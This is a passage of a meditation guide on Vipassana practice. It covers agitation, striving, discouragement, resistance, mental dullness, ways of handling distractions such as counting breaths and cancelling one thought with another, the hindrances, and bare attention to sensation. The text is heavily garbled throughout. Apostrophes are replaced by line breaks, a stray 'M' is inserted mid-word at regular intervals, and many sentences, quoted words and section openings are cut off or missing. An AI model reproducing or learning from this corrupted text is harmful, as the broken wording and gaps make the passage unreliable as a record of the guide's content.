t and the fantasy feeds on the energy of your attention and grows. The real problem here is that mindfulness is weak. If mindfulness was strongly developed, it would notice this switch of attention as soon as it occurred and handle the situation in the usual manner. Not matter what the source of your fear, mindfulness is the cure. Observe the emotional reactions that come along and know them for what they are. Stand aside from the process and don
t get involved. Treat the whole dynamic as if you were an interesteM
d bystander. Most importantly, don
t fight the situation. Don
t try to repress the memories or the feelings or the fantasies. Just step out of the way and let the whole mess bubble up and flow past. It can
t hurt you. It is just memory. It is only fantasy. It is nothing but fear.
When you let it run its course in the arena of conscious attention, it won
t sink back into the unconscious. It won
t come back to haunt you later. It will be gone for good.
Problem 8 - Agitation:
Restlessness is often aM
 cover-up for some deeper experience taking place in the unconscious. We humans are great at repressing things. Rather than confronting some unpleasant thought we experience, we try to bury it. We won
t have to deal with the issue. Unfortunately, we usually don
t succeed, at least not fully. We hide the thought, but the mental energy we use to cover it up sits there and boils. The result is that sense of uneasiness which we call agitation or restlessness. There is nothing you can put your finger on. But you donM
t feel at ease. You can
t relax. When this uncomfortable state arises in mediation, just observe it. Don
t let it rule you. Don
t jump up and run off. And don
t struggle with it and try to make it go away. Just let it be there and watch it closely. Then the repressed material will eventually surface and you will find out what you have been worrying about.
The unpleasant experience that you have been trying to avoid could be almost anything: Guilt, greed or problems. It could be a low-grade pain or subM
tle sickness or approaching illness. Whatever it is, let it arise and look at it mindfully. If you just sit still and observe your agitation, it will eventually pass. Sitting through restlessness is a little breakthrough in your meditation career. It will teach you much. You will find that agitation is actually a rather superficial mental state. It is inherently ephemeral. It comes and it goes. It has no real grip on you at all. Here again the rest of your life will profit.
Problem 9 - Trying Too Hard:
ed meditators are generally found to be pretty jovial men and women. They possess that most valuable of all human treasures, a sense of humor. It is not the superficial witty repartee of the talk show host. It is a real sense of humor. They can laugh at their own human failures. They can chuckle at personal disasters. Beginners in meditation are often much too serious for their own good. So laugh a little. It is important to learn to loosen up in your session, to relax into your meditation. You need to learn to floM
w with whatever happens. You can
t do that if you are tensed and striving, taking it all so very, very seriously. New meditators are often overly eager for results. They are full of enormous and inflated expectations. They jump right in and expect incredible results in no time flat. They push. They tense. They sweat and strain, and it is all so terribly, terribly grim and solemn. This state of tension is the direct antithesis of mindfulness. So naturally they achieve little. Then they decide that this meditation M
is not so exciting after all. It did not give them what they wanted. They chuck it aside. It should be pointed out that you learn about meditation only by meditating. You learn what meditation is all about and where it leads only through direct experience of the thing itself. Therefore the beginner does not know where he is headed because he has developed little sense of where his practice is leading.
s expectation is inherently unrealistic and uninformed. As a newcomer to meditation, he or she woulM
d expect all the wrong things, and those expectations do you no good at all. They get in the way. Trying too hard leads to rigidity and unhappiness, to guilt and self-condemnation. When you are trying too hard, your effort becomes mechanical and that defeats mindfulness before it even gets started. You are well-advised to drop all that. Drop your expectations and straining. Simply meditate with a steady and balanced effort. Enjoy your mediation and don
t load yourself down with sweat and struggles. Just be mindfuM
l. The meditation itself will take care of the future.
Problem 10 - Discouragement:
The direct upshot of pushing too hard is frustration. You are in a state of tension. You get nowhere. You realize you are not making the progress you expected, so you get discouraged. You feel like a failure. It is all a very natural cycle, but a totally avoidable one. The source is striving after unrealistic expectations. Nevertheless, it is a common enough syndrome and, in spite of all the best advice, you may find it happenM
ing to you. There is a solution. If you find yourself discouraged, just observe your state of mind clearly. Don
t add anything to it. Just watch it. A sense of failure is only another ephemeral emotional reaction. If you get involved, it feeds on your energy and grows. If you simply stand aside and watch it, it passes away.
If you are discouraged over your perceived failure in meditation, that is especially easy to deal with. You feel you have failed in your practice. You have failed to be mindful. Simply becoM
me mindful of that sense of failure. You have just re-established your mindfulness with that single step. The reason for your sense of failure is nothing but memory. There is no such thing as failure in meditation. There are setbacks and difficulties. But there is no failure unless you give up entirely. Even if you spend twenty solid years getting nowhere, you can be mindful at any second you choose to do so. It is your decision. Regretting is only one more way of being unmindful. The instant that you realize that M
you have been unmindful, that realization itself is an act of mindfulness. So continue the process. Don
t get sidetracked in an emotional reaction.
Problem 11 - Resistance To Meditation:
There are times when you don
t feel like meditating. The very idea seems obnoxious. Missing a single practice session is scarcely important, but it very easily becomes a habit. It is wiser to push on through the resistance. Go sit anyway. Observe this feeling of aversion. In most cases it is a passing emotion, a flash in M
the pan that will evaporate right in front of your eyes. Five minutes after you sit down it is gone. In other cases it is due to some sour mood that day, and it lasts longer. Still, it does pass. And it is better to get rid of it in twenty or thirty minutes of meditation than to carry it around with you and let it ruin the rest of your day. Another time, resistance may be due to some difficulty you are having with the practice itself. You may or may not know what that difficulty is. If the problem is known, handle M
it by one of the techniques given in this book. Once the problem is gone, resistance will be gone. If the problem is unknown, then you are going to have to tough it out. Just sit through the resistance and observe that mindfully. When it has finally run its course, it will pass. Then the problem causing it will probably bubble up in its wake, and you can deal with that.
If resistance to meditation is a common feature of your practice, then you should suspect some subtle error in your basic attitude. Meditation iM
s not a ritual conducted in a particular posture. It is not a painful exercise, or period of enforced boredom. And it is not some grim, solemn, obligation. Meditation is mindfulness. it is a new way of seeing and it is a form of play. Meditation is your friend. Come to regard it as such and resistance will wash away like smoke on a summer breeze.
If you try all these possibilities and the resistance remains, then there may be a problem. There can be certain metaphysical snags that a meditator runs into which go M
far beyond the scope of this book. It is not common for new meditators to hit these, but it can happen. Don
t give up. Go get help. Seek out qualified teachers of the Vipassana style of meditation and ask them to help you resolve the situation. Such people exist for exactly that purpose.
Problem 12 - Stupor or Dullness:
We have already discussed the sinking mind phenomenon. But there is a special route to that state you should watch for. Mental dullness can result as an unwanted byproduct of deepening conceM
ntration. As your relaxation deepens, muscles loosen and nerve transmission changes. This produces a very calm and light feeling in the body. you feel very still and somewhat divorced from the body. this is a very pleasant state and at first your concentration is quite good, nicely centered on the breath. As it continues, however, the pleasant feeling intensify and they distract your attention from the breath. You start to really enjoy that state and your mindfulness goes way down. Your attention winds up scatteredM
, drifting listlessly through vague clouds of bliss. The result is a very unmindful state, sort of an ecstatic stupor. The cure, of course, is mindfulness. Mindfully observe these phenomena and they will dissipate. When blissful feelings arise accept them. There is no need to avoid them. Don
t get wrapped up in them. They are physical feelings, so treat them as such. Observe feelings as feelings. Observe dullness as dullness. Watch them rise and watch them pass. Don
You will have problems in M
meditation. Everybody does. You can treat them as terrible torments, or as challenges to be overcome. If you regard them as burdens, you suffering will only increase. If you regard them as opportunities to learn and to grow, your spiritual prospects are unlimited.
XI) DEALING WITH DISTRACTIONS (1)
At some time, every meditator encounters distractions during practice, and methods are needed to deal with them. Some elegant stratagems have been devised to get you back on the track more quickly than trying to pM
ush your way through by sheer force of will. Concentration and mindfulness go hand-in-hand. Each one complements the other. If either one is weak, the other will eventually be affected. Bad days are usually characterized by poor concentration. Your mind just keeps floating around. You need some method of reestablishing your concentration, even in the face of mental adversity. Luckily, you have it. In fact you can take your choice from a traditional array of practical maneuvers.
Maneuver 1 - Time Gauging:
 first technique has been covered in an earlier chapter. A distraction has pulled you away from the breath, and you suddenly realize that you
ve been day-dreaming. The trick is to pull all the way out of whatever has captured you, to break its hold on you completely so you can go back to the breath with full attention. You do this by gauging the length of time that you were distracted. This is not a precise calculation. you don
t need a precise figure, just a rough estimate. You can figure it in minutes, or by M
idea significance. Just say to yourself,
Okay, I have been distracted for about two minutes
Since the dog started barking
Since I started thinking about money.
 When you first start practicing this technique, you will do it by talking to yourself inside your head. Once the habit is well established, you can drop that, and the action becomes wordless and very quick. The whole idea, remember, is to pull out of the distraction and get back to the breath. You pull out of the thought by making it M
the object of inspection just long enough to glean from it a rough approximation of its duration. The interval itself is not important. Once you are free of the distraction, drop the whole thing and go back to the breath. Do not get hung up in the estimate.
Maneuver 2 - Deep Breaths:
When your mind is wild and agitated, you can often re-establish mindfulness with a few quick deep breaths. Pull the air in strongly and let it out the same way. This increases the sensation inside the nostrils and makes it easierM
 to focus. Make a strong act of will and apply some force to your attention. Concentration can be forced into growth, remember, so you will probably find your full attention settling nicely back on the breath.
Maneuver 3 - Counting:
Counting the breaths as they pass is a highly traditional procedure. Some schools of practice teach this activity as their primary tactic. Vipassana uses it as an auxiliary technique for re-establishing mindfulness and for strengthening concentration. As we discussed in Chapter 5,M
 you can count breaths in a number of different ways. Remember to keep your attention on the breath. You will probably notice a change after you have done your counting. The breath slows down, or it becomes very light and refined. This is a physiological signal that concentration has become well-established. At this point, the breath is usually so light or so fast and gentle that you can
t clearly distinguish the inhalation from the exhalation. They seem to blend into each other. You can then count both of them aM
s a single cycle. Continue your counting process, but only up to a count of five, covering the same five-breath sequence, then start over. When counting becomes a bother, go on to the next step. Drop the numbers and forget about the concepts of inhalation and exhalation. Just dive right in to the pure sensation of breathing. Inhalation blends into exhalation. One breath blends into the next in a never ending cycle of pure, smooth flow.
Maneuver 4 - The In-Out Method:
This is an alternative to counting, and itM
 functions in much the manner. Just direct your attention to the breath and mentally tag each cycle with the words
. Continue the process until you no longer need these concepts, and then throw them away.
Maneuver 5 - Canceling One Thought With Another:
Some thoughts just won
t go away. We humans are obsessional beings. It
s one of our biggest problems. We tend to lock onto things like sexual fantasies and worries and ambitions. We feed those though complexesM
 over the years of time and give them plenty of exercise by playing with them in every spare moment. Then when we sit down to meditate, we order them to go away and leave us alone. It is scarcely surprising that they don
t obey. Persistent thoughts like these require a direct approach, a full- scale frontal attack.
Buddhist psychology has developed a distinct system of classification. Rather than dividing thoughts into classes like
, Buddhist thinkers prefer to regard them as
. An unskillful thought is on connected with greed, hatred, or delusion. These are the thoughts that the mind most easily builds into obsessions. They are unskillful in the sense that they lead you away from the goal of Liberation. Skillful thoughts, on the other hand, are those connected with generosity, compassion, and wisdom. They are skillful in the sense that they may be used as specific remedies for unskillful thoughts, and thus can assist you toward Liberation.
ion Liberation. It is not a state built out of thoughts. Nor can you condition the personal qualities which Liberation produces. Thoughts of benevolence can produce a semblance of benevolence, but it
s not the real item. It will break down under pressure. Thoughts of compassion produce only superficial compassion. Therefore, these skillful thoughts will not, in themselves, free you from the trap. They are skillful only if applied as antidotes to the poison of unskillful thoughts. Thoughts of generosity can temporM
arily cancel greed. They kick it under the rug long enough for mindfulness to do its work unhindered. Then, when mindfulness has penetrated to the roots of the ego process, greed evaporates and true generosity arises.
This principle can be used on a day to day basis in your own meditation. If a particular sort of obsession is troubling you, you can cancel it out by generating its opposite. Here is an example: If you absolutely hate Charlie, and his scowling face keeps popping into your mind, try directing a streM
am of love and friendliness toward Charlie. You probably will get rid of the immediate mental image. Then you can get on with the job of meditation.
Sometimes this tactic alone doesn
t work. The obsession is simply too strong. In this case you
ve got to weaken its hold on you somewhat before you can successfully balance it out. Here is where guilt, one of man
s most misbegotten emotions, finally becomes of some use. Take a good strong look at the emotional response you are trying to get rid of. Actually poM
nder it. See how it makes you feel. Look at what it is doing to your life, your happiness, your health, and your relationships. Try to see how it makes you appear to others. Look at the way it is hindering your progress toward Liberation. The Pali scriptures urge you to do this very thoroughly indeed. They advise you to work up the same sense of disgust and humiliation that you would feel if you were forced to walk around with the carcass of a dead and decaying animal tied around your neck. Real loathing is what yoM
u are after. This step may end the problem all by itself. If it doesn
t, then balance out the lingering remainder of the obsession by once again generating its opposite emotion.
Thoughts of greed cover everything connected with desire, from outright avarice for material gain, all the way down to a subtle need to be respected as a moral person. Thoughts of hatred run the gamut from petty peevishness to murderous rage. Delusion covers everything from daydreaming through actual hallucinations. Generosity cancels M
greed. Benevolence and compassion cancel hatred. You can find a specific antidote for any troubling thought if you just think about it a while.
Maneuver 6 - Recalling Your Purpose:
There are times when things pop into your mind, apparently at random. Words, phrases, or whole sentences jump up out of the unconscious for no discernible reason. Objects appear. Pictures flash on and off. This is an unsettling experience. Your mind feels like a flag flapping in a stiff wind. It washes back and forth like waves in M
the ocean. At times like this it is often enough just to remember why you are there. You can say to yourself,
m not sitting here just to waste my time with these thoughts. I
m here to focus my mind on the breath, which is universal and common to all living beings
. Sometimes your mind will settle down, even before you complete this recitation. Other times you may have to repeat it several times before you refocus on the breath.
These techniques can be used singly, or in combinations. Properly employedM
, they constitute quite an effective arsenal for your battle against the monkey mind.
XII) DEALING WITH DISTRACTIONS (2)
So there you are meditating beautifully. Your body is totally immobile, and you mind is totally still. You just glide right along following the flow of the breath, in, out, in, out
calm, serene and concentrated. Everything is perfect. And then, all of a sudden, something totally different pops into your mind:
I sure wish I had an ice cream cone.
s a distraction, obviously. M
s not what you are supposed to be doing. You notice that, and you drag yourself back to the breath, back to the smooth flow, in, out, in
Did I ever pay that gas bill?
 Another distraction. You notice that one, and you haul yourself back to the breath. In, out, in, out, in
That new science fiction movie is out. Maybe I can go see it Tuesday night. No, not Tuesday, got too much to do on Wednesday. Thursday
 Another distraction. You pull yourself out of that one and back yoM
u go to the breath, except that you never quite get there because before you do that little voice in your head goes,
My back is killing me.
 And on and on it goes, distraction after distraction, seemingly without end.
What a bother. But this is what it is all about. These distractions are actually the whole point. The key is to learn to deal with these things. Learning to notice them without being trapped in them. That
s what we are here for. The mental wandering is unpleasant, to be sure. But it is the nM
ormal mode of operation of your mind. Don
t think of it as the enemy. It is just the simple reality. And if you want to change something, the first thing you have to do is see it the way it is.
When you first sit down to concentrate on the breath, you will be struck by how incredibly busy the mind actually is. It jumps and jibbers. It veers and bucks. It chases itself around in constant circles. It chatters. It thinks. It fantasizes and daydreams. Don
t be upset about that. It
s natural. When your mind wanM
ders from the subject of meditation, just observe the distraction mindfully.
When we speak of a distraction in Insight Meditation, we are speaking of any preoccupation that pulls the attention off the breath. This brings up a new, major rule for your meditation: When any mental state arises strongly enough to distract you from the object of meditation, switch your attention to the distraction briefly. Make the distraction a temporary object of meditation. Please not the word temporary. It
s quite important. WeM
 are not advising that you switch horses in midstream. We do not expect you to adopt a whole new object of meditation every three seconds. The breath will always remain your primary focus. You switch your attention to the distraction only long enough to notice certain specific things about it. What is it? How strong is it? and, how long does it last? As soon as you have wordlessly answered these questions, you are through with your examination of that distraction, and you return your attention to the breath. Here aM
gain, please note the operant term, wordlessly. These questions are not an invitation to more mental chatter. That would be moving you in the wrong direction, toward more thinking. We want you to move away from thinking, back to a direct, wordless and non-conceptual experience of the breath. These questions are designed to free you from the distraction and give you insight into its nature, not to get you more thoroughly stuck in it. They will tune you in to what is distracting you and help you get rid of it
Here is the problem: When a distraction, or any mental state, arises in the mind, it blossoms forth first in the unconscious. Only a moment later does it rise to the conscious mind. That split-second difference is quite important, because it time enough for grasping to occur. Grasping occurs almost instantaneously, and it takes place first in the unconscious. Thus, by the time the grasping rises to the level of conscious recognition, we have already begun to lock on to it. It is quite natural for us M
to simply continue that process, getting more and more tightly stuck in the distraction as we continue to view it. We are, by this time, quite definitely thinking the thought, rather than just viewing it with bare attention. The whole sequence takes place in a flash. This presents us with a problem. By the time we become consciously aware of a distraction we are already, in a sense, stuck in it. Our three questions are a clever remedy for this particular malady. In order to answer these questions, we must ascertainM
 the quality of the distraction. To do that, we must divorce ourselves from it, take a mental step back from it, disengage from it, and view it objectively. We must stop thinking the thought or feeling the feeling in order to view it as an object of inspection. This very process is an exercise in mindfulness, uninvolved, detached awareness. The hold of the distraction is thus broken, and mindfulness is back in control. At this point, mindfulness makes a smooth transition back to its primary focus and we return to tM
When you first begin to practice this technique, you will probably have to do it with words. You will ask your questions in words, and get answers in words. It won
t be long, however, before you can dispense with the formality of words altogether. Once the mental habits are in place, you simply note the distraction, note the qualities of the distraction, and return to the breath. It
s a totally non-conceptual process, and it
s very quick. The distraction itself can be anything: a sound, a sensatM
ion, an emotion, a fantasy, anything at all. Whatever it is, don
t try to repress it. Don
t try to force it out of your mind. There
s no need for that. Just observe it mindfully with bare attention. Examine the distraction wordlessly and it will pass away by itself. You will find your attention drifting effortlessly back to the breath. And do not condemn yourself for having being distracted. Distractions are natural. They come and they go.
Despite this piece of sage counsel, you
re going to find yourselfM
 condemning anyway. That
s natural too. Just observe the process of condemnation as another distraction, and then return to the breath.
Watch the sequence of events: Breathing. Breathing. Distracting thought arises. Frustration arising over the distracting thought. You condemn yourself for being distracted. You notice the self-condemnation. You return to the breathing. Breathing. Breathing. It
s really a very natural, smooth-flowing cycle, if you do it correctly. The trick, of course, is patience. If you canM
 learn to observe these distractions without getting involved, it
s all very easy. You just glide through the distractions and your attention returns to the breath quite easily. Of course, the very same distraction may pop up a moment later. If it does, just observe that mindfully. If you are dealing with an old, established thought pattern, this can go on happening for quite a while, sometimes years. Don
t get upset. This too is natural. just observe the distraction and return to the breath. Don
 these distracting thoughts. Don
t strain or struggle. It
s a waste. Every bit of energy that you apply to that resistance goes into the thought complex and makes it all the stronger. So don
t try to force such thoughts out of your mind. It
s a battle you can never win. Just observe the distraction mindfully and, it will eventually go away. It
s very strange, but the more bare attention you pay to such disturbances, the weaker they get. Observe them long enough, and often enough, with bare attention, and M
they fade away forever. Fight with them and they gain in strength. Watch them with detachment and they wither.
Mindfulness is a function that disarms distractions, in the same way that a munitions expert might defuse a bomb. Weak distractions are disarmed by a single glance. Shine the light of awareness on them and they evaporate instantly, never to return. Deep-seated, habitual thought patterns require constant mindfulness repeatedly applied over whatever time period it takes to break their hold. Distractions aM
re really paper tigers. They have no power of their own. They need to be fed constantly, or else they die. If you refuse to feed them by your own fear, anger, and greed, they fade.
Mindfulness is the most important aspect of meditation. It is the primary thing that you are trying to cultivate. So there is really no need at all to struggle against distractions. The crucial thing is to be mindful of what is occurring, not to control what is occurring. Remember, concentration is a tool. It is secondary to bare atteM
ntion. From the point of view of mindfulness, there is really no such thing as a distraction. Whatever arises in the mind is viewed as just one more opportunity to cultivate mindfulness. Breath, remember, is an arbitrary focus, and it is used as our primary object of attention. Distractions are used as secondary objects of attention. They are certainly as much a part of reality as breath. It actually makes rather little difference what the object of mindfulness is. You can be mindful of the breath, or you can be miM
ndful of the distraction. You can be mindful of the fact that you mind is still, and your concentration is strong, or you can be mindful of the fact that your concentration is in ribbons and your mind is in an absolute shambles. It
s all mindfulness. Just maintain that mindfulness and concentration eventually will follow.
The purpose of meditation is not to concentrate on the breath, without interruption, forever. That by itself would be a useless goal. The purpose of meditation is not to achieve a perfectly sM
till and serene mind. Although a lovely state, it doesn
t lead to liberation by itself. The purpose of meditation is to achieve uninterrupted mindfulness. Mindfulness, and only mindfulness, produces Enlightenment.
Distractions come in all sizes, shapes and flavors. Buddhist philosophy has organized them into categories. One of them is the category of hindrances. They are called hindrances because they block your development of both components of mediation, mindfulness and concentration. A bit of caution on thiM
 carries a negative connotation, and indeed these are states of mind we want to eradicate. That does not mean, however, that they are to be repressed, avoided or condemned.
s use greed as an example. We wish to avoid prolonging any state of greed that arises, because a continuation of that state leads to bondage and sorrow. That does not mean we try to toss the thought out of the mind when it appears. We simply refuse to encourage it to stay. We let it come, and we let it gM
o. When greed is first observed with bare attention, no value judgements are made. We simply stand back and watch it arise. The whole dynamic of greed from start to finish is simply observed in this way. We don
t help it, or hinder it, or interfere with it in the slightest. It stays as long as it stays. And we learn as much about it as we can while it is there. We watch what greed does. We watch how it troubles us, and how it burdens others. We notice how it keeps us perpetually unsatisfied, forever in a state ofM
 unfulfilled longing. From this first-hand experience, we ascertain at a gut level that greed is an unskillful way to run your life. There is nothing theoretical about this realization.
All of the hindrances are dealt with in the same way, and we will look at them here one by one.
Desire: Let us suppose you have been distracted by some nice experience in meditation. It could be pleasant fantasy or a thought of pride. It might be a feeling of self-esteem. It might be a thought of love or even the physical sensM
ation of bliss that comes with the meditation experience itself. Whatever it is, what follows is the state of desire
 desire to obtain whatever you have been thinking about or desire to prolong the experience you are having. No matter what its nature, you should handle desire in the following manner. Notice the thought or sensation as it arises. Notice the mental state of desire which accompanies it as a separate thing. Notice the exact extent or degree of that desire. Then notice how long it lasts and when it fM
inally disappears. When you have done that, return your attention to breathing.
Aversion: Suppose that you have been distracted by some negative experience. It could be something you fear or some nagging worry. It might be guilt or depression or pain. Whatever the actual substance of the thought or sensation, you find yourself rejecting or repressing
 trying to avoid it, resist it or deny it. The handling here is essentially the same. Watch the arising of the thought or sensation. Notice the state of rejectioM
n that comes with it. Gauge the extent or degree of that rejection. See how long it lasts and when it fades away. Then return your attention to your breath.
Lethargy: Lethargy comes in various grades and intensities, ranging from slight drowsiness to total torpor. We are talking about a mental state here, not a physical one. Sleepiness or physical fatigue is something quite different and, in the Buddhist system of classification, it would be categorized as a physical feeling. Mental lethargy is closely related tM
o aversion in that it is one of the mind
s clever little ways of avoiding those issues it finds unpleasant. Lethargy is a sort of turn-off of the mental apparatus, a dulling of sensory and cognitive acuity. It is an enforced stupidity pretending to be sleep. This can be a tough one to deal with, because its presence is directly contrary to the employment of mindfulness. Lethargy is nearly the reverse of mindfulness. Nevertheless, mindfulness is the cure for this hindrance, too, and the handling is the same. Note M
the state of drowsiness when it arises, and note its extent or degree. Note when it arises, how long it lasts, and when it passes away. The only thing special here is the importance of catching the phenomenon early. You have got to get it right at its conception and apply liberal doses of pure awareness right away. If you let it get a start, its growth probably will outpace your mindfulness power. When lethargy wins, the result is the sinking mind and/or sleep.
Agitation: States of restlessness and worry are expM
ressions of mental agitation. Your mind keeps darting around, refusing to settle on any one thing. You may keep running over and over the same issues. But even here an unsettled feeling is the predominant component. The mind refuses to settle anywhere. It jumps around constantly. The cure for this condition is the same basic sequence. Restlessness imparts a certain feeling to consciousness. You might call it a flavor or texture. Whatever you call it, that unsettled feeling is there as a definable characteristic. LoM
ok for it. Once you have spotted it, note how much of it is present. Note when it arises. Watch how long it lasts, and see when it fades away. Then return your attention to the breath.
Doubt: Doubt has its own distinct feeling in consciousness. The Pali tests describe it very nicely. It
s the feeling of a man stumbling through a desert and arriving at an unmarked crossroad. Which road should he take? There is no way to tell. So he just stands there vacillating. One of the common forms this takes in meditation M
is an inner dialogue something like this:
What am I doing just sitting like this? Am I really getting anything out of this at all? Oh! Sure I am. This is good for me. The book said so. No, that is crazy. This is a waste of time. No, I won
t give up. I said I was going to do this, and I am going to do it. Or am I being just stubborn? I don
t get stuck in this trap. It is just another hindrance. Another of the mind
s little smoke screens to keep you from doing the most tM
errible thing in the world: actually becoming aware of what is happening. To handle doubt, simply become aware of this mental state of wavering as an object of inspection. Don
t be trapped in it. Back out of it and look at it. See how strong it is. See when it comes and how long it lasts. Then watch it fade away, and go back to the breathing.
This is the general pattern you will use on any distraction that arises. By distraction, remember we mean any mental state that arises to impede your meditation. Some of M
these are quite subtle. It is useful to list some of the possibilities. The negative states are pretty easy to spot: insecurity, fear, anger, depression, irritation and frustration.
Craving and desire are a bit more difficult to spot because they can apply to things we normally regard as virtuous or noble. You can experience the desire to perfect yourself. You can feel craving for greater virtue. You can even develop an attachment to the bliss of the meditation experience itself. It is a bit hard to detach yoursM
elf from such altruistic feelings. In the end, though, it is just more greed. It is a desire for gratification and a clever way of ignoring the present-time reality.
Trickiest of all, however, are those really positive mental states that come creeping into your meditation. Happiness, peace, inner contentment, sympathy and compassion for all beings everywhere. These mental states are so sweet and so benevolent that you can scarcely bear to pry yourself loose from them. It makes you feel like a traitor to mankind.M
 There is no need to feel this way. We are not advising you to reject these states of mind or to become heartless robots. We merely want you to see them for what they are. They are mental states. They come and they go. They arise and they pass away. As you continue your meditation, these states will arise more often. The trick is not to become attached to them. Just see each one as it comes up. See what it is, how strong it is and how long it lasts. Then watch it drift away. It is all just more of the passing show M
of your own mental universe.
Just as breathing comes in stages, so do the mental states. Every breath has a beginning, a middle and an end. Every mental states has a birth, a growth and a decay. You should strive to see these stages clearly. This is no easy thing to do, however. As we have already noted, every thought and sensation begins first in the unconscious region of the mind and only later rises to consciousness. We generally become aware of such things only after they have arisen in the conscious realm aM
nd stayed there for some time. Indeed we usually become aware of distractions only when they have released their hold on us and are already on their way out. It is at this point that we are struck with the sudden realization that we have been somewhere, day-dreaming, fantasizing, or whatever. Quite obviously this is far too late in the chain of events. We may call this phenomenon catching the lion by is tail, and it is an unskillful thing to do. Like confronting a dangerous beast, we must approach mental states heaM
d-on. Patiently, we will learn to recognize them as they arise from progressively deeper levels of our conscious mind.
Since mental states arise first in the unconscious, to catch the arising of the mental state, you
ve got to extend your awareness down into this unconscious area. That is difficult, because you can
t see what is going on down there, at least not in the same way you see a conscious thought. But you can learn to get a vague sense of movement and to operate by a sort of mental sense of touch. TM
his comes with practice, and the ability is another of the effects of the deep calm of concentration. Concentration slows down the arising of these mental states and gives you time to feel each one arising out of the unconscious even before you see it in consciousness. Concentration helps you to extend your awareness down into that boiling darkness where thought and sensation begin.
As your concentration deepens, you gain the ability to see thoughts and sensations arising slowly, like separate bubbles, each distM
inct and with spaces between them. They bubble up in slow motion out of the unconscious. They stay a while in the conscious mind and then they drift away.
The application of awareness to mental states is a precision operation. This is particularly true of feelings or sensations. It is very easy to overreach the sensation. That is, to add something to it above and beyond what is really there. It is equally easy to fall short of sensation, to get part of it but not all. The ideal that you are striving for is to exM
perience each mental state fully, exactly the way it is, adding nothing to it and not missing any part of it. Let us use pain in the leg as an example. What is actually there is a pure flowing sensation. It changes constantly, never the same from one moment to the next. It moves from one location to another, and its intensity surges up and down. Pain is not a thing. It is an event. There should be no concepts tacked on to it and none associated with it. A pure unobstructed awareness of this event will experience itM
 simply as a flowing pattern of energy and nothing more. No thought and no rejection. Just energy.
Early on in our practice of meditation, we need to rethink our underlying assumptions regarding conceptualization. For most of us, we have earned high marks in school and in life for our ability to manipulate mental phenomena
 logically. Our careers, much of our success in everyday life, our happy relationships, we view as largely the result of our successful manipulation of concepts. In developing M
mindfulness, however, we temporarily suspend the conceptualization process and focus on the pure nature of mental phenomena. During meditation we are seeking to experience the mind at the pre-concept level.
But the human mind conceptualizes such occurrences as pain. You find yourself thinking of it as
. That is a concept. It is a label, something added to the sensation itself. You find yourself building a mental image, a picture of the pain, seeing it as a shape. You may see a diagram of the leg wiM
th the pain outlined in some lovely color. This is very creative and terribly entertaining, but not what we want. Those are concepts tacked on to the living reality. Most likely, you will probably find yourself thinking:
I have a pain in my leg.
 is a concept. It is something extra added to the pure experience.
 into the process, you are building a conceptual gap between the reality and the awareness viewing that reality. Thoughts such as
ve no place in direct awareness. They are extraneous addenda, and insidious ones at that. When you bring
 into the picture, you are identifying with the pain. That simply adds emphasis to it. If you leave
 out of the operation, pain is not painful. It is just a pure surging energy flow. It can even be beautiful. If you find
 insinuating itself in your experience of pain or indeed any other sensation, then just observe that mindfully. Pay bare attention to the phenomenon of personal identificatM
The general idea, however, is almost too simple. You want to really see each sensation, whether it is pain, bliss or boredom. You want to experience that thing fully in its natural and unadulterated form. There is only one way to do this. Your timing has to be precise. Your awareness of each sensation must coordinate exactly with the arising of that sensation. If you catch it just a bit too late, you miss the beginning. You won
t get all of it. If you hang on to any sensation past the time wM
hen it has memory. The thing itself is gone, and by holding onto that memory, you miss the arising of the next sensation. It is a very delicate operation. You
ve got to cruise along right here in present time, picking things up and letting things drop with no delays whatsoever. It takes a very light touch. Your relation to sensation should never be one of past or future but always of the simple and immediate now.
The human mind seeks to conceptualize phenomena, and it has developed a host of clever ways to do M
so. Every simple sensation will trigger a burst of conceptual thinking if you give the mind its way. Let
s take hearing, for example. You are sitting in meditation and somebody in the next room drops a dish. The sounds strike your ear. Instantly you see a picture of that other room. You probably see a person dropping a dish, too. If this a familiar environment, say your own home, you probably will have a 3-D technicolor mind movie of who did the dropping and which dish was dropped. This whole sequence presents itM
self to consciousness instantly. It just jumps out of the unconscious so bright and clear and compelling that it shoves everything else out of sight. What happens to the original sensation, the pure experience of hearing? It got lost in the shuffle, completely overwhelmed and forgotten. We miss reality. We enter a world of fantasy.
Here is another example: You are sitting in meditation and a sound strikes your ear. It is just an indistinct noise, sort of a muffled crunch; it could be anything. What happens next M
will probably be something like this.
What was that? Who did that? Where did that come from? How far away was that? Is it dangerous?
 And on and on you go, getting no answers but your fantasy projection. Conceptualization is an insidiously clever process It creeps into you experience, and it simply takes over. When you hear a sound in meditation, pay bare attention to the experience of hearing. That and that only. What is really happening is so utterly simple that we can and do miss it altogether. Sound waves M
are striking the ear in a certain unique pattern. Those waves are being translated into electrical impulses within the brain and those impulses present a sound pattern to consciousness. That is all. No pictures. No mind movies. No concepts. No interior dialogues about the question. Just noise. Reality is elegantly simple and unadorned. When you hear a sound, be mindful of the process of hearing. Everything else is just added chatter. Drop it. The same rule applies to every sensation, every emotion, every experienceM
 you may have. Look closely at your own experience. Dig down through the layers of mental bric-a-brac and see what is really there. You will be amazed how simple it is, and how beautiful.
There are times when a number of sensations may arise at once. You might have a thought of fear, a squeezing in the stomach and an aching back and an itch on your left earlobe, all at the same time. Don
t sit there in a quandary. Don
t keep switching back and forth or wondering what to pick. One of them will be strongest. JM
ust open yourself up and the most insistent of these phenomena will intrude itself and demand your attention. So give it some attention just long enough to see it fade away. Then return to your breathing. If another one intrudes itself, let it in. When it is done, return to the breathing.
This process can be carried too far, however. Don
t sit there looking for things to be mindful of. Keep your mindfulness on the breath until something else steps in and pulls your attention away. When you feel that happening,M
t fight it. Let you attention flow naturally over to the distraction, and keep it there until the distraction evaporates. Then return to breathing. Don
t seek out other physical or mental phenomena. Just return to breathing. Let them come to you. There will be times when you drift off, of course. Even after long practice you find yourself suddenly waking up, realizing you have been off the track for some while. Don
t get discouraged. Realize that you have been off the track for such and such a length of M
time and go back to the breath. There is no need for any negative reaction at all. The very act of realizing that you have been off the track is an active awareness. It is an exercise of pure mindfulness all by itself.
Mindfulness grows by the exercise of mindfulness. It is like exercising a muscle. Every time you work it, you pump it up just a little. You make it a little stronger. The very fact that you have felt that wake-up sensation means that you have just improved your mindfulness power. That means you wiM
n. Move back to the breathing without regret. However, the regret is a conditioned reflex and it may come along anyway
another mental habit. If you find yourself getting frustrated, feeling discouraged, or condemning yourself, just observe that with bare attention. It is just another distraction. Give it some attention and watch it fade away, and return to the breath.
The rules we have just reviewed can and should be applied thoroughly to all of your mental states. You are going to find this an utterly ruthlesM
